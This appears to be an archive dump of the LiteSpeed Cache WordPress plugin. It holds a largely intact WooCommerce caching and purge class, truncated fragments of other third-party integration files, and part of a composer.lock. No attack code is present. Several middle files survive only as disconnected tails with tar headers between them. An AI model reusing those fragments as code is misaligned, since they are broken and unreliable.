remove_action('woocommerce_after_template_part', [ $this, 'end_template' ], 999); $this->set_block_template(); } } /** * Hooked to the storefront_header header. * If we want to ESI the request, block it and build the ESI code block. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * @return void */ public function esi_cart_header() { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Filter returns URL. echo apply_filters( 'litespeed_esi_url', 'storefront-cart-header', 'STOREFRONT_CART_HEADER' ); } /** * Hooked to the litespeed_esi_load-storefront-cart-header action. * Generates the cart header for ESI display. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * @return void */ public function load_cart_header() { storefront_header_cart(); } /** * Hooked to the litespeed_esi_load-wc-add-to-cart-form action. * Parses the ESI input parameters and generates the add to cart form for ESI display. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * * @param array $params ESI parameters. * @return void */ public function load_add_to_cart_form_block( $params ) { global $post, $wp_query; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Intentional for WooCommerce template setup. $post = get_post($params[self::ESI_PARAM_POSTID]); $wp_query->setup_postdata($post); function_exists('wc_get_template') && wc_get_template($params[self::ESI_PARAM_NAME], $params[self::ESI_PARAM_ARGS], $params[self::ESI_PARAM_PATH]); } /** * Update WooCommerce when someone visits a product and has the recently viewed products widget. * * Currently, this widget should not be cached. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * * @param array $params Widget parameter array. * @return void */ public function register_post_view( $params ) { if ( 'WC_Widget_Recently_Viewed' !== $params[ API::PARAM_NAME ] ) { return; } if ( ! isset( $params[ self::ESI_PARAM_POSTID ] ) ) { return; } $id = (int) $params[ self::ESI_PARAM_POSTID ]; $esi_post = get_post( $id ); $product = function_exists('wc_get_product') ? wc_get_product( $esi_post ) : false; if ( empty( $product ) ) { return; } // Setup post data for tracking view without directly overriding $post. if ( $esi_post ) { setup_postdata( $esi_post ); } if ( function_exists('wc_track_product_view') ) { wc_track_product_view(); } } /** * Adds the post id to the widget ESI parameters for the Recently Viewed widget. * * This is needed in the ESI request to update the cookie properly. * * @since 1.1.0 * @access public * * @param array $params Existing ESI params. * @param string $block_id Block identifier. * @return array */ public function add_post_id( $params, $block_id ) { if ( 'widget' === $block_id ) { if ( 'WC_Widget_Recently_Viewed' === $params[ API::PARAM_NAME ] ) { $params[ self::ESI_PARAM_POSTID ] = get_the_ID(); } } return $params; } /** * Hooked to the litespeed_widget_default_options filter. * * The recently viewed widget must be ESI to function properly. * This function will set it to enable and no cache by default. * * @since 1.1.0 * @access public * * @param array $options Widget options. * @param mixed $widget Widget instance. * @return array */ public function wc_widget_default( $options, $widget ) { if ( ! is_array( $options ) ) { return $options; } $widget_name = get_class( $widget ); if ( 'WC_Widget_Recently_Viewed' === $widget_name ) { $options[ API::WIDGET_O_ESIENABLE ] = API::VAL_ON2; $options[ API::WIDGET_O_TTL ] = 0; } elseif ( 'WC_Widget_Recent_Reviews' === $widget_name ) { $options[ API::WIDGET_O_ESIENABLE ] = API::VAL_ON; $options[ API::WIDGET_O_TTL ] = 86400; } return $options; } /** * Set WooCommerce cache tags based on page type. * * @since 1.0.9 * @since 1.6.3 Removed static * @access public * @return void */ public function set_tag() { $id = get_the_ID(); if ( false === $id ) { return; } // Check if product has a cache ttl limit or not. $sale_from = (int) get_post_meta( $id, '_sale_price_dates_from', true ); $sale_to = (int) get_post_meta( $id, '_sale_price_dates_to', true ); // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested -- Need local timestamp for WooCommerce sale dates. $now = current_time('timestamp'); $ttl = false; if ( $sale_from && $now < $sale_from ) { $ttl = $sale_from - $now; } elseif ( $sale_to && $now < $sale_to ) { $ttl = $sale_to - $now; } if ( $ttl && $ttl < apply_filters( 'litespeed_control_ttl', 0 ) ) { do_action( 'litespeed_control_set_ttl', $ttl, "WooCommerce set scheduled TTL to $ttl" ); } if ( function_exists('is_shop') && is_shop() ) { do_action('litespeed_tag_add', self::CACHETAG_SHOP); } if ( function_exists('is_product_taxonomy') && ! is_product_taxonomy() ) { return; } if ( isset( $GLOBALS['product_cat'] ) && is_string( $GLOBALS['product_cat'] ) ) { // todo: need to check previous woo version to find if its from old woo versions or not! $term = get_term_by( 'slug', $GLOBALS['product_cat'], 'product_cat' ); } elseif ( isset( $GLOBALS['product_tag'] ) && is_string( $GLOBALS['product_tag'] ) ) { $term = get_term_by( 'slug', $GLOBALS['product_tag'], 'product_tag' ); } else { $term = false; } if ( false === $term ) { return; } while ( isset( $term ) ) { do_action( 'litespeed_tag_add', self::CACHETAG_TERM . $term->term_id ); if ( 0 === (int) $term->parent ) { break; } $term = get_term( $term->parent ); } } /** * Check if the page is cacheable according to WooCommerce. * * @since 1.0.5 * @since 1.6.3 Removed static * @access public * * @param string $esi_id The ESI block id if a request is an ESI request. * @return void */ public function set_control( $esi_id ) { if ( ! apply_filters( 'litespeed_control_cacheable', false ) ) { return; } /** * Avoid possible 500 issue. * * @since 1.6.2.1 */ if ( ! function_exists( 'WC' ) ) { return; } $woocom = WC(); if ( ! $woocom || empty( $woocom->session ) ) { return; } // For later versions, DONOTCACHEPAGE should be set. // No need to check uri/qs. if ( version_compare( $woocom->version, '1.4.2', '>=' ) ) { if ( version_compare( $woocom->version, '3.2.0', '<' ) && defined('DONOTCACHEPAGE') && DONOTCACHEPAGE ) { do_action( 'litespeed_control_set_nocache', '3rd party woocommerce not cache by constant' ); return; } elseif ( version_compare( $woocom->version, '2.1.0', '>=' ) ) { $err = false; if ( ! function_exists( 'wc_get_page_id' ) ) { return; } /** * From woo/inc/class-wc-cache-helper.php:prevent_caching() * * @since 1.4 */ $page_ids = array_filter( [ wc_get_page_id( 'cart' ), wc_get_page_id( 'checkout' ), wc_get_page_id( 'myaccount' ) ] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( isset( $_GET['download_file'] ) || isset( $_GET['add-to-cart'] ) || is_page( $page_ids ) ) { $err = 'woo non cacheable pages'; } elseif ( function_exists( 'wc_notice_count' ) && wc_notice_count() > 0 ) { $err = 'has wc notice'; } if ( $err ) { do_action( 'litespeed_control_set_nocache', '3rd party woocommerce not cache due to ' . $err ); return; } } return; } if ( ! isset( $_SERVER['REQUEST_URI'] ) ) { return; } $uri = esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ); $uri_len = strlen( $uri ); if ( $uri_len < 5 ) { return; } if ( in_array( $uri, [ 'cart/', 'checkout/', 'my-account/', 'addons/', 'logout/', 'lost-password/', 'product/' ], true ) ) { // why contains `product`? do_action( 'litespeed_control_set_nocache', 'uri in cart/account/user pages' ); return; } if ( ! isset( $_SERVER['QUERY_STRING'] ) ) { return; } $qs = sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ); $qs_len = strlen( $qs ); if ( ! empty( $qs ) && $qs_len >= 12 && 0 === strpos( $qs, 'add-to-cart=' ) ) { do_action( 'litespeed_control_set_nocache', 'qs contains add-to-cart' ); } } /** * Purge a product when WooCommerce stock status changes. * * Variation "Save changes" updates can trigger status-based hooks. Route those * events to the same purge path, but mark this as a stock-status change so * config logic handles restock (out-of-stock -> in-stock) correctly. * * @since 7.7 * @param int $product_id Product ID. * @param string|null $stock_status New stock status. * @param \WC_Product $product Product object. * @return void */ public function purge_product_stock_status( $product_id, $stock_status = null, $product = null ) { if ( ! $product && function_exists( 'wc_get_product' ) ) { $product = wc_get_product( $product_id ); } if ( ! $product ) { return; } do_action( 'litespeed_debug', '[3rd] Woo Purge stock status changed [pid] ' . $product->get_id() . ' [status] ' . $stock_status ); $this->purge_product( $product, true ); } /** * Purge managed-stock products when a WooCommerce order is cancelled. * * Cancellation restores stock quantities. Purge affected product pages to * prevent stale frontend stock display. * * @since 7.7 * @param int $order_id WooCommerce order ID. * @return void */ public function purge_cancelled_order_products( $order_id ) { if ( ! function_exists( 'wc_get_order' ) ) { return; } $order = wc_get_order( $order_id ); if ( ! $order ) { return; } $products = []; foreach ( $order->get_items( 'line_item' ) as $item ) { $product = $item->get_product(); if ( ! $product || ! $product->managing_stock() ) { continue; } $products[ $product->get_id() ] = $product; } foreach ( $products as $product ) { do_action( 'litespeed_debug', '[3rd] Woo Purge cancelled order managed stock [pid] ' . $product->get_id() ); $this->purge_product( $product ); } } /** * Purge a product page and related pages (based on settings) on checkout. * * @since 1.0.9 * @since 1.6.3 Removed static * @access public * * @param \WC_Product $product Product object. * @param bool $stock_status_changed Whether this call is due to stock status transition. * @return void */ public function purge_product( $product, $stock_status_changed = false ) { do_action( 'litespeed_debug', '[3rd] Woo Purge [pid] ' . $product->get_id() ); $do_purge = function ( $action, $debug = '' ) use ( $product, $stock_status_changed ) { $config = apply_filters( 'litespeed_conf', self::O_UPDATE_INTERVAL ); if ( is_null( $config ) ) { $config = self::O_PQS_CS; } if ( self::O_PQS_CQS === $config ) { $action(); if ( $debug ) { do_action( 'litespeed_debug', $debug ); } } elseif ( ! $stock_status_changed && self::O_PQS_CS !== $config && $product->is_in_stock() ) { do_action( 'litespeed_debug', '[3rd] Woo No purge needed [option] ' . $config ); return false; } elseif ( self::O_PS_CN !== $config && ( $stock_status_changed || ! $product->is_in_stock() ) ) { $action(); if ( $debug ) { do_action( 'litespeed_debug', $debug ); } } return true; }; if ( ! $do_purge( function () use ( $product ) { $this->backend_purge( $product->get_id() ); } ) ) { return; } do_action( 'litespeed_purge_post', $product->get_id() ); // Check if is variation, purge stock too #984479. if ( $product->is_type( 'variation' ) ) { do_action( 'litespeed_purge_post', $product->get_parent_id() ); } // Check if WPML is enabled ##972971. if ( defined( 'WPML_PLUGIN_BASENAME' ) ) { // Check if it is a variable product and get post/parent ID. $wpml_purge_id = $product->is_type( 'variation' ) ? $product->get_parent_id() : $product->get_id(); $type = apply_filters( 'wpml_element_type', get_post_type( $wpml_purge_id ) ); $trid = apply_filters( 'wpml_element_trid', false, $wpml_purge_id, $type ); $translations = apply_filters( 'wpml_get_element_translations', [], $trid, $type ); foreach ( $translations as $lang => $translation ) { do_action( 'litespeed_debug', '[3rd] Woo WPML purge language: ' . $translation->language_code . ' , post ID: ' . $translation->element_id ); do_action( 'litespeed_purge_post', $translation->element_id ); // use the $translation->element_id as it is post ID of other languages. } // Check other languages category and purge if configured. // wp_get_post_terms() only returns default language category ID. $default_cats = wp_get_post_terms( $wpml_purge_id, 'product_cat' ); $languages = apply_filters( 'wpml_active_languages', null ); foreach ( $default_cats as $default_cat ) { foreach ( $languages as $language ) { $tr_cat_id = icl_object_id( $default_cat->term_id, 'product_cat', false, $language['code'] ); $do_purge( function () use ( $tr_cat_id ) { do_action( 'litespeed_purge', self::CACHETAG_TERM . $tr_cat_id ); }, '[3rd] Woo Purge WPML category [language] ' . $language['code'] . ' [cat] ' . $tr_cat_id ); } } } } /** * Delete object-term relationship. If the post is a product and the term ids array is not empty, * will add purge tags to the deleted terms. * * @since 1.0.9 * @since 1.6.3 Removed static * @access public * * @param int $post_id Object ID. * @param array $term_ids An array of term taxonomy IDs. * @return void */ public function delete_rel( $post_id, $term_ids ) { if ( ! function_exists( 'wc_get_product' ) ) { return; } if ( empty( $term_ids ) || false === wc_get_product( $post_id ) ) { return; } foreach ( $term_ids as $term_id ) { do_action( 'litespeed_purge', self::CACHETAG_TERM . $term_id ); } } /** * Purge a product's categories and tags pages in case they are affected. * * @since 1.0.9 * @since 1.6.3 Removed static * @access public * * @param int $post_id Post id that is about to be purged. * @return void */ public function backend_purge( $post_id ) { if ( ! function_exists( 'wc_get_product' ) ) { return; } if ( ! isset( $post_id ) || false === wc_get_product( $post_id ) ) { return; } $cats = $this->get_cats( $post_id ); if ( ! empty( $cats ) ) { foreach ( $cats as $cat ) { do_action( 'litespeed_purge', self::CACHETAG_TERM . $cat ); } } if ( ! function_exists( 'wc_get_product_terms' ) ) { return; } $tags = wc_get_product_terms( $post_id, 'product_tag', [ 'fields' => 'ids' ] ); if ( ! empty( $tags ) ) { foreach ( $tags as $tag ) { do_action( 'litespeed_purge', self::CACHETAG_TERM . $tag ); } } } /** * When a product has a new review added, purge the recent reviews widget. * * @since 1.1.0 * @since 1.6.3 Removed static * @access public * * @param mixed $unused Unused. * @param integer $comment_approved Whether the comment is approved or not. * @param array $commentdata Information about the comment. * @return void */ public function add_review( $unused, $comment_approved, $commentdata ) { if ( ! function_exists( 'wc_get_product' ) ) { return; } $post_id = $commentdata['comment_post_ID']; if ( 1 !== (int) $comment_approved || ! isset( $post_id ) || false === wc_get_product( $post_id ) ) { return; } global $wp_widget_factory; if ( ! isset( $wp_widget_factory->widgets['WC_Widget_Recent_Reviews'] ) ) { return; } $recent_reviews = $wp_widget_factory->widgets['WC_Widget_Recent_Reviews']; if ( ! is_null( $recent_reviews ) ) { do_action( 'litespeed_tag_add_widget', $recent_reviews->id ); } } /** * Append new options. * * @since 1.6.3 Removed static * @since 3.0 new API * @return void */ private function _option_append() { // Append option save value filter. do_action( 'litespeed_conf_multi_switch', self::O_UPDATE_INTERVAL, 3 ); // This need to be before conf_append. do_action( 'litespeed_conf_append', self::O_UPDATE_INTERVAL, false ); do_action( 'litespeed_conf_append', self::O_CART_VARY, false ); } /** * Hooked to `litespeed_settings_tab` action. * Adds the integration configuration options (currently, to determine purge rules). * * @since 1.6.3 Removed static * * @param string $setting_page Setting page slug. * @return void */ public function settings_add_tab( $setting_page ) { if ( 'cache' !== $setting_page ) { return; } require 'woocommerce.tab.tpl.php'; } /** * Hook to show config content. * * @since 3.0 * * @param string $setting_page Setting page slug. * @return void */ public function settings_add_content( $setting_page ) { if ( 'cache' !== $setting_page ) { return; } require 'woocommerce.content.tpl.php'; } /** * Helper function to select the function(s) to use to get the product category ids. * * @since 1.0.10 * @since 1.6.3 Removed static * @access private * * @param int $product_id The product id. * @return array An array of category ids. */ private function get_cats( $product_id ) { if ( ! function_exists( 'WC' ) ) { return []; } $woocom = WC(); if ( isset( $woocom ) && version_compare( $woocom->version, '2.5.0', '>=' ) && function_exists( 'wc_get_product_cat_ids' ) ) { return wc_get_product_cat_ids( $product_id ); } $product_cats = wp_get_post_terms( $product_id, 'product_cat', [ 'fields' => 'ids' ] ); foreach ( $product_cats as $product_cat ) { $product_cats = array_merge( $product_cats, get_ancestors( $product_cat, 'product_cat' ) ); } return $product_cats; } /** * 3rd party preload. * * @since 2.9.8.4 * @return void */ public static function preload() { /** * Auto purge for WooCommerce Advanced Bulk Edit plugin, * Bulk edit hook needs to be added to preload as it will die before detect. */ add_action( 'wp_ajax_wpmelon_adv_bulk_edit', __CLASS__ . '::bulk_edit_purge', 1 ); } /** * Auto purge for WooCommerce Advanced Bulk Edit plugin. * * @since 2.9.8.4 * @return void */ public static function bulk_edit_purge() { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Third-party plugin action; cannot enforce here. if ( empty( $_POST['type'] ) || 'saveproducts' !== $_POST['type'] || empty( $_POST['data'] ) ) { return; } /* * admin-ajax form-data structure * array( * "type" => "saveproducts", * "data" => array( * "column1" => "464$###0$###2#^#463$###0$###4#^#462$###0$###6#^#", * "column2" => "464$###0$###2#^#463$###0$###4#^#462$###0$###6#^#" * ) * ) */ $stock_string_arr = []; // Ensure data is unslashed before processing. // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Third-party plugin may not send nonce. Data format defined by third-party plugin. $data = isset( $_POST['data'] ) ? wp_unslash( $_POST['data'] ) : []; foreach ( (array) $data as $stock_value ) { $stock_string_arr = array_merge( $stock_string_arr, explode( '#^#', (string) $stock_value ) ); } $lscwp_3rd_woocommerce = new self(); if ( count( $stock_string_arr ) < 1 ) { return; } foreach ( $stock_string_arr as $edited_stock ) { $product_id = (int) strtok( (string) $edited_stock, '$' ); $product = wc_get_product( $product_id ); if ( empty( $product ) ) { do_action( 'litespeed_debug', '3rd woo purge: ' . $product_id . ' not found.' ); continue; } $lscwp_3rd_woocommerce->purge_product( $product ); } } } plugins/litespeed-cache/thirdparty/entry.inc.php000064400000003012152335264760016071 0ustar00 WooCommerce plugins/litespeed-cache/thirdparty/litespeed-check.cls.php000064400000012645152335264760020005 0ustar00' . __('Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:', 'litespeed-cache') . '

    ' . 'PageSpeed Ninja' . '

    ' . '' ); } } /** * Handle plugin activation. * * @since 4.7 * @param string $plugin Plugin path. * @param bool $network_wide Whether activated network-wide. * @return void */ public static function activated_plugin( $plugin, $network_wide ) { self::incompatible_plugin_notice($plugin, $network_wide, 'activated'); } /** * Handle plugin deactivation. * * @since 4.7 * @param string $plugin Plugin path. * @param bool $network_wide Whether deactivated network-wide. * @return void */ public static function deactivated_plugin( $plugin, $network_wide ) { self::incompatible_plugin_notice($plugin, $network_wide, 'deactivated'); } /** * Detect any incompatible plugins that are currently `active` and `valid`. * Show a notification if there are any. * * @since 4.7 * @param string $plugin Plugin path. * @param bool $_network_wide Whether action is network-wide. * @param string $action Action type (activated|deactivated). * @return void */ public static function incompatible_plugin_notice( $plugin, $_network_wide, $action ) { self::update_messages(); $deactivated = 'deactivated' === $action ? array( $plugin ) : array(); $incompatible_plugins = array_map(function ( $plugin ) { return WP_PLUGIN_DIR . '/' . $plugin; }, array_diff(self::$_incompatible_plugins, $deactivated)); $active_incompatible_plugins = array_map(function ( $plugin ) { $plugin = get_plugin_data($plugin, false, true); return $plugin['Name']; }, array_intersect($incompatible_plugins, wp_get_active_and_valid_plugins())); if (empty($active_incompatible_plugins)) { return; } \LiteSpeed\Admin_Display::error( '
    ' . __('Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:', 'litespeed-cache') . '

    ' . implode(', ', $active_incompatible_plugins) . '

    ' . '
    ', false, true ); } /** * Prevent multiple incompatible plugin notices. * * @since 4.7 * @return void */ private static function update_messages() { $messages = \LiteSpeed\Admin_Display::get_option(\LiteSpeed\Admin_Display::DB_MSG_PIN, array()); if (is_array($messages)) { foreach ($messages as $index => $message) { if (strpos($message, self::$_msg_id) !== false) { unset($messages[$index]); if (!$messages) { $messages = -1; } \LiteSpeed\Admin_Display::update_option(\LiteSpeed\Admin_Display::DB_MSG_PIN, $messages); break; } } } } } plugins/litespeed-cache/thirdparty/woo-paypal.cls.php000064400000001545152335264760017041 0ustar00ID); } } } } plugins/litespeed-cache/thirdparty/wpml.cls.php000064400000002025152335264760015722 0ustar00get_widget_object( 'BBP_Replies_Widget' ); if ( bbp_is_reply( $post_id ) && $replies_widget ) { do_action( 'litespeed_purge_widget', $replies_widget->id ); } $topic_widget = $wp_widget_factory->get_widget_object( 'BBP_Topics_Widget' ); if ( bbp_is_topic( $post_id ) && $topic_widget ) { do_action( 'litespeed_purge_widget', $topic_widget->id ); } } } plugins/litespeed-cache/thirdparty/wc-pdf-product-vouchers.cls.php000064400000001740152335264760021440 0ustar00

    ', '' ); ?>

    esc_html__( 'Purge product on changes to the quantity or stock status.', 'litespeed-cache' ) . ' ' . esc_html__( 'Purge categories only when stock status changes.', 'litespeed-cache' ), self::O_PS_CS => esc_html__( 'Purge product and categories only when the stock status changes.', 'litespeed-cache' ), self::O_PS_CN => esc_html__( 'Purge product only when the stock status changes.', 'litespeed-cache' ) . ' ' . esc_html__( 'Do not purge categories on changes to the quantity or stock status.', 'litespeed-cache' ), self::O_PQS_CQS => esc_html__( 'Always purge both product and categories on changes to the quantity or stock status.', 'litespeed-cache' ), ]; $conf = (int) apply_filters( 'litespeed_conf', $setting_id ); do_action( 'litespeed_setting_enroll', $setting_id ); foreach ( $options as $k => $v ) : $input_id = 'conf_' . $setting_id . '_' . $k; ?>
    />
    cls( 'Admin_Display' )->build_switch( $setting_id ); ?>

    plugins/litespeed-cache/thirdparty/wplister.cls.php000064400000001546152335264760016623 0ustar00=5.4", "squizlabs/php_codesniffer": "^2.0 || ^3.1.0 || ^4.0" }, "require-dev": { "composer/composer": "*", "ext-json": "*", "ext-zip": "*", "php-parallel-lint/php-parallel-lint": "^1.3.1", "phpcompatibility/php-compatibility": "^9.0", "yoast/phpunit-polyfills": "^1.0" }, "type": "composer-plugin", "extra": { "class": "PHPCSStandards\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\Plugin" }, "autoload": { "psr-4": { "PHPCSStandards\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Franck Nijhof", "email": "franck.nijhof@dealerdirect.com", "homepage": "http://www.frenck.nl", "role": "Developer / IT Manager" }, { "name": "Contributors", "homepage": "https://github.com/PHPCSStandards/composer-installer/graphs/contributors" } ], "description": "PHP_CodeSniffer Standards Composer Installer Plugin", "homepage": "http://www.dealerdirect.com", "keywords": [ "PHPCodeSniffer", "PHP_CodeSniffer", "code quality", "codesniffer", "composer", "installer", "phpcbf", "phpcs", "plugin", "qa", "quality", "standard", "standards", "style guide", "stylecheck", "tests" ], "support": { "issues": "https://github.com/PHPCSStandards/composer-installer/issues", "source": "https://github.com/PHPCSStandards/composer-installer" }, "time": "2023-01-05T11:28:13+00:00" }, { "name": "php-stubs/wordpress-stubs", "version": "v6.8.1", "source": { "type": "git", "url": "https://github.com/php-stubs/wordpress-stubs.git", "reference": "92e444847d94f7c30f88c60004648f507688acd5" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-stubs/wordpress-stubs/zipball/92e444847d94f7c30f88c60004648f507688acd5", "reference": "92e444847d94f7c30f88c60004648f507688acd5", "shasum": "" }, "conflict": { "phpdocumentor/reflection-docblock": "5.6.1" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "^1.0", "nikic/php-parser": "^5.4", "php": "^7.4 || ^8.0", "php-stubs/generator": "^0.8.3", "phpdocumentor/reflection-docblock": "^5.4.1", "phpstan/phpstan": "^2.1", "phpunit/phpunit": "^9.5", "szepeviktor/phpcs-psr-12-neutron-hybrid-ruleset": "^1.1.1", "wp-coding-standards/wpcs": "3.1.0 as 2.3.0" }, "suggest": { "paragonie/sodium_compat": "Pure PHP implementation of libsodium", "symfony/polyfill-php80": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", "szepeviktor/phpstan-wordpress": "WordPress extensions for PHPStan" }, "type": "library", "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "description": "WordPress function and class declaration stubs for static analysis.", "homepage": "https://github.com/php-stubs/wordpress-stubs", "keywords": [ "PHPStan", "static analysis", "wordpress" ], "support": { "issues": "https://github.com/php-stubs/wordpress-stubs/issues", "source": "https://github.com/php-stubs/wordpress-stubs/tree/v6.8.1" }, "time": "2025-05-02T12:33:34+00:00" }, { "name": "php-stubs/wp-cli-stubs", "version": "v2.12.0", "source": { "type": "git", "url": "https://github.com/php-stubs/wp-cli-stubs.git", "reference": "af16401e299a3fd2229bd0fa9a037638a4174a9d" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-stubs/wp-cli-stubs/zipball/af16401e299a3fd2229bd0fa9a037638a4174a9d", "reference": "af16401e299a3fd2229bd0fa9a037638a4174a9d", "shasum": "" }, "require": { "php-stubs/wordpress-stubs": "^4.7 || ^5.0 || ^6.0" }, "require-dev": { "php": "~7.3 || ~8.0", "php-stubs/generator": "^0.8.0" }, "suggest": { "symfony/polyfill-php73": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions", "szepeviktor/phpstan-wordpress": "WordPress extensions for PHPStan" }, "type": "library", "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "description": "WP-CLI function and class declaration stubs for static analysis.", "homepage": "https://github.com/php-stubs/wp-cli-stubs", "keywords": [ "PHPStan", "static analysis", "wordpress", "wp-cli" ], "support": { "issues": "https://github.com/php-stubs/wp-cli-stubs/issues", "source": "https://github.com/php-stubs/wp-cli-stubs/tree/v2.12.0" }, "time": "2025-06-10T09:58:05+00:00" }, { "name": "phpcompatibility/php-compatibility", "version": "9.3.5", "source": { "type": "git", "url": "https://github.com/PHPCompatibility/PHPCompatibility.git", "reference": "9fb324479acf6f39452e0655d2429cc0d3914243" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibility/zipball/9fb324479acf6f39452e0655d2429cc0d3914243", "reference": "9fb324479acf6f39452e0655d2429cc0d3914243", "shasum": "" }, "require": { "php": ">=5.3", "squizlabs/php_codesniffer": "^2.3 || ^3.0.2" }, "conflict": { "squizlabs/php_codesniffer": "2.6.2" }, "require-dev": { "phpunit/phpunit": "~4.5 || ^5.0 || ^6.0 || ^7.0" }, "suggest": { "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically.", "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." }, "type": "phpcodesniffer-standard", "notification-url": "https://packagist.org/downloads/", "license": [ "LGPL-3.0-or-later" ], "authors": [ { "name": "Wim Godden", "homepage": "https://github.com/wimg", "role": "lead" }, { "name": "Juliette Reinders Folmer", "homepage": "https://github.com/jrfnl", "role": "lead" }, { "name": "Contributors", "homepage": "https://github.com/PHPCompatibility/PHPCompatibility/graphs/contributors" } ], "description": "A set of sniffs for PHP_CodeSniffer that checks for PHP cross-version compatibility.", "homepage": "http://techblog.wimgodden.be/tag/codesniffer/", "keywords": [ "compatibility", "phpcs", "standards" ], "support": { "issues": "https://github.com/PHPCompatibility/PHPCompatibility/issues", "source": "https://github.com/PHPCompatibility/PHPCompatibility" }, "time": "2019-12-27T09:44:58+00:00" }, { "name": "phpcsstandards/phpcsextra", "version": "1.3.0", "source": { "type": "git", "url": "https://github.com/PHPCSStandards/PHPCSExtra.git", "reference": "46d08eb86eec622b96c466adec3063adfed280dd" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/PHPCSStandards/PHPCSExtra/zipball/46d08eb86eec622b96c466adec3063adfed280dd", "reference": "46d08eb86eec622b96c466adec3063adfed280dd", "shasum": "" }, "require": { "php": ">=5.4", "phpcsstandards/phpcsutils": "^1.0.9", "squizlabs/php_codesniffer": "^3.12.1" }, "require-dev": { "php-parallel-lint/php-console-highlighter": "^1.0", "php-parallel-lint/php-parallel-lint": "^1.3.2", "phpcsstandards/phpcsdevcs": "^1.1.6", "phpcsstandards/phpcsdevtools": "^1.2.1", "phpunit/phpunit": "^4.5 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.0" }, "type": "phpcodesniffer-standard", "extra": { "branch-alias": { "dev-stable": "1.x-dev", "dev-develop": "1.x-dev" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "LGPL-3.0-or-later" ], "authors": [ { "name": "Juliette Reinders Folmer", "homepage": "https://github.com/jrfnl", "role": "lead" }, { "name": "Contributors", "homepage": "https://github.com/PHPCSStandards/PHPCSExtra/graphs/contributors" } ], "description": "A collection of sniffs and standards for use with PHP_CodeSniffer.", "keywords": [ "PHP_CodeSniffer", "phpcbf", "phpcodesniffer-standard", "phpcs", "standards", "static analysis" ], "support": { "issues": "https://github.com/PHPCSStandards/PHPCSExtra/issues", "security": "https://github.com/PHPCSStandards/PHPCSExtra/security/policy", "source": "https://github.com/PHPCSStandards/PHPCSExtra" }, "funding": [ { "url": "https://github.com/PHPCSStandards", "type": "github" }, { "url": "https://github.com/jrfnl", "type": "github" }, { "url": "https://opencollective.com/php_codesniffer", "type": "open_collective" }, { "url": "https://thanks.dev/u/gh/phpcsstandards", "type": "thanks_dev" } ], "time": "2025-04-20T23:35:32+00:00" }, { "name": "phpcsstandards/phpcsutils", "version": "1.0.12", "source": { "type": "git", "url": "https://github.com/PHPCSStandards/PHPCSUtils.git", "reference": "87b233b00daf83fb70f40c9a28692be017ea7c6c" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/PHPCSStandards/PHPCSUtils/zipball/87b233b00daf83fb70f40c9a28692be017ea7c6c", "reference": "87b233b00daf83fb70f40c9a28692be017ea7c6c", "shasum": "" }, "require": { "dealerdirect/phpcodesniffer-composer-installer": "^0.4.1 || ^0.5 || ^0.6.2 || ^0.7 || ^1.0", "php": ">=5.4", "squizlabs/php_codesniffer": "^3.10.0 || 4.0.x-dev@dev" }, "require-dev": { "ext-filter": "*", "php-parallel-lint/php-console-highlighter": "^1.0", "php-parallel-lint/php-parallel-lint": "^1.3.2", "phpcsstandards/phpcsdevcs": "^1.1.6", "yoast/phpunit-polyfills": "^1.1.0 || ^2.0.0" }, "type": "phpcodesniffer-standard", "extra": { "branch-alias": { "dev-stable": "1.x-dev", "dev-develop": "1.x-dev" } }, "autoload": { "classmap": [ "PHPCSUtils/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "LGPL-3.0-or-later" ], "authors": [ { "name": "Juliette Reinders Folmer", "homepage": "https://github.com/jrfnl", "role": "lead" }, { "name": "Contributors", "homepage": "https://github.com/PHPCSStandards/PHPCSUtils/graphs/contributors" } ], "description": "A suite of utility functions for use with PHP_CodeSniffer", "homepage": "https://phpcsutils.com/", "keywords": [ "PHP_CodeSniffer", "phpcbf", "phpcodesniffer-standard", "phpcs", "phpcs3", "standards", "static analysis", "tokens", "utility" ], "support": { "docs": "https://phpcsutils.com/", "issues": "https://github.com/PHPCSStandards/PHPCSUtils/issues", "security": "https://github.com/PHPCSStandards/PHPCSUtils/security/policy", "source": "https://github.com/PHPCSStandards/PHPCSUtils" }, "funding": [ { "url": "https://github.com/PHPCSStandards", "type": "github" }, { "url": "https://github.com/jrfnl", "type": "github" }, { "url": "https://opencollective.com/php_codesniffer", "type": "open_collective" } ], "time": "2024-05-20T13:34:27+00:00" }, { "name": "squizlabs/php_codesniffer", "version": "3.13.0", "source": { "type": "git", "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git", "reference": "65ff2489553b83b4597e89c3b8b721487011d186" }, "dist": { "type": "zip", "url": 